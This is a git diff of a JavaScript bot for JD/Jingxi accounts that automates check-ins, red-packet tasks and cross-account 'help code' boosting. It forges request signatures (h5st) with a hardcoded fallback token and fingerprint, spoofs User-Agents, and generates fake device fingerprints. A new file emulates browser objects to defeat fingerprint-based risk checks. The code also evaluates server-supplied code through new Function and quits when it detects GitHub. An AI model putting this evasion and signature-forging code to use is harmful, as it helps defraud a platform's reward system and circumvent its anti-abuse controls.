$.shareCodes.splice(j, 1) + j-- + continue + } + if ($.shareCodes[j].use === $.UserName) { + console.log(`不能助力自己`) + continue + } + console.log(`账号 ${$.UserName} 去助力 ${$.shareCodes[j].use} 的互助码 ${$.shareCodes[j].smp}`) + if ($.shareCodes[j].max) { + console.log(`您的好友助力已满`) + continue + } + await helpSignhb($.shareCodes[j].smp) + await $.wait(3000) + if (!$.black) $.shareCodes[j].num++ + break + } + } + } else { + console.log(`今日已签到,无法助力好友啦~`) + } + if (!$.black) { + if ($.commonlist && $.commonlist.length) { + console.log("开始做红包任务") + for (let j = 0; j < $.commonlist.length; j++) { + await dotask($.commonlist[j]); + await $.wait(3000); + } + } else { + console.log("红包任务已完成") + } + await doubleSign() + } else { + console.log(`此账号已黑`) + } } } })() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdCash() { - $.coins = 0 - $.money = 0 - await sign() - await getTaskList() - await doubleSign() - await showMsg() -} -function sign() { - return new Promise((resolve) => { - $.get(taskUrl("pgcenter/sign/UserSignOpr"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - if(data.data.signStatus===0){ - console.log(`签到成功,获得${data.data.pingoujin}金币,已签到${data.data.signDays}天`) - $.coins += parseInt(data.data.pingoujin) - }else{ - console.log(`今日已签到`) - } - }else{ - console.log(`签到失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); }) -} -function getTaskList() { + .finally(() => { + $.done(); + }) + +// 查询信息 +function signhb(type = 1) { return new Promise((resolve) => { - $.get(taskUrl("pgcenter/task/QueryPgTaskCfgByType","taskType=3"), async (err, resp, data) => { + $.get(taskUrl("fanxiantask/signhb/query"), async (err, resp, data) => { try { if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(JSON.stringify(err)); + console.log(`${$.name} query签到 API请求失败,请检查网路重试`); } else { - if (safeGet(data)) { - console.log(data); - data = JSON.parse(data); - if(data.retCode ===0 && data.data.tasks != null){ - for (task of data.data.tasks) { - if(task.taskState===1){ - console.log(`去做${task.taskName}任务`) - await doTask(task.taskId); - await $.wait(1000) - await finishTask(task.taskId); - await $.wait(1000) + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + const { + smp, + commontask, + sharetask: { domax, helppic, status }, + signlist = [] + } = data + $.domax = domax + let helpNum = 0 + if (helppic) helpNum = helppic.split(";").length - 1 + switch (type) { + case 1: + if (status === 1) { + let max = false + if (helpNum == domax) max = true + $.shareCodes.push({ + 'use': $.UserName, + 'smp': smp, + 'num': helpNum || 0, + 'max': max + }) + } + break + case 2: + for (let key of Object.keys(signlist)) { + let vo = signlist[key] + if (vo.istoday === 1) { + if (vo.status === 1 && vo.tasklist.signtask.status === 1) { + console.log(`今日已签到`) + $.canHelp = false + } else { + console.log(`今日未签到`) + } } } - }else{ - console.log(`签到失败,错误信息${data.errMsg}`) - } + console.log(`【签到互助码】${smp}`) + if (helpNum) console.log(`已有${helpNum}人助力`) + for (let i = 0; i < commontask.length; i++) { + if (commontask[i].task && commontask[i].status != 2) { + $.commonlist.push(commontask[i].task) + } + } + break + default: + break } } } catch (e) { - $.logErr(e, resp) + $.logErr(e, resp); } finally { resolve(data); } }) }) } -function doTask(id) { - return new Promise((resolve) => { - $.get(taskUrl("pgcenter/task/drawUserTask",`taskid=${id}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - console.log(`任务领取成功`) - }else{ - console.log(`任务完成失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function finishTask(id) { - return new Promise((resolve) => { - $.get(taskUrl("pgcenter/task/UserTaskFinish",`taskid=${id}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - console.log(`任务完成成功,获得金币${data.datas[0]['pingouJin']}`) - $.coins += data.datas[0]['pingouJin'] - }else{ - console.log(`任务完成失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function doubleSign() { - return new Promise((resolve) => { - $.get(taskUrl("double_sign/IssueReward",), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - console.log(`双签成功,获得金币${data.data.jd_amount / 100}元`) - $.money += data.data.jd_amount / 100 - }else{ - console.log(`任务完成失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function showMsg() { - message+=`本次运行获得金币${$.coins},现金${$.money}` - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} -function taskUrl(functionId, body = '') { +// 签到 助力 +function helpSignhb(smp) { + return new Promise((resolve) => { + $.get(taskUrl("fanxiantask/signhb/query", `signhb_source=1000&smp=${smp}&type=1`, "signhb_source,smp,type"), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} query助力 API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + const { + signlist = [] + } = data + for (let key of Object.keys(signlist)) { + let vo = signlist[key] + if (vo.istoday === 1) { + if (vo.status === 1 && vo.tasklist.signtask.status === 1) { + // console.log(`今日已签到`) + } else { + console.log(`此账号已黑`) + $.black = true + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 任务 +function dotask(task) { + return new Promise((resolve) => { + $.get(taskUrl("fanxiantask/signhb/dotask", `signhb_source=1000&task=${task}`, "signhb_source,task"), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} dotask API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if (data.ret === 0) { + console.log(`完成任务 获得${data.sendhb}红包`); + } else { + console.log(data.errmsg); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +// 双签 +function doubleSign() { + return new Promise((resolve) => { + $.get(taskUrl("double_sign/IssueReward"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} IssueReward API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.retCode === 0){ + console.log(`双签成功`) + } else { + console.log(`任务完成失败,错误信息${data.errMsg}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(functionId, body = '', stk) { + let url = `` + if (body) { + url = `${JD_API_HOST}${functionId}?${body ? `${body}&` : ''}sceneval=2&g_login_type=1&_=${Date.now()}&_ste=1&callback=jsonpCBKC&g_ty=ls`; + url += `&h5st=${decrypt(Date.now(), stk, '', url)}`; + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + } else { + if (functionId === 'double_sign/IssueReward') { + url = `${JD_API_HOST}${functionId}?sceneval=2&g_login_type=1&_ste=1&g_ty=ajax`; + } else { + url = `${JD_API_HOST}${functionId}?_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKC&g_ty=ls` + } + } return { - url: `${JD_API_HOST}${functionId}?sceneval=2&g_login_type=1&g_ty=ls&${body}`, + url: url, headers: { - 'Cookie': cookie, - 'Host': 'm.jingxi.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Referer': 'https://jddx.jd.com/m/jddnew/money/index.html', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', + Cookie: cookie, + Host: "m.jingxi.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": `jdpingou;iPhone;3.15.2;14.2.1;ea00763447803eb0f32045dcba629c248ea53bb3;network/wifi;model/iPhone13,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`, + "Accept-Language": "zh-cn", + Referer: "https://wqsd.jd.com/pingou/dream_factory/index.html", + "Accept-Encoding": "gzip, deflate, br", } } } @@ -249,34 +326,130 @@ function taskUrl(functionId, body = '') { function TotalBean() { return new Promise(async resolve => { const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" } } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { $.post(options, (err, resp, data) => { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) } else { if (data) { + // console.log(data); data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) } else { - $.nickName = $.UserName + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') } } else { console.log(`京东服务器返回空数据`) @@ -290,27 +463,68 @@ function TotalBean() { }) }) } -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' } } -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } } + return '' } } +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} // prettier-ignore function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/sign_graphics_validate.js b/sign_graphics_validate.js new file mode 100755 index 0000000..d19d9f3 --- /dev/null +++ b/sign_graphics_validate.js @@ -0,0 +1,2078 @@ +const navigator = { + userAgent: require('./USER_AGENTS').USER_AGENT, + plugins: { length: 0 }, + language: "zh-CN", + }; + const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + + } + const window = { + + } + const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } + }; + var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + + function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 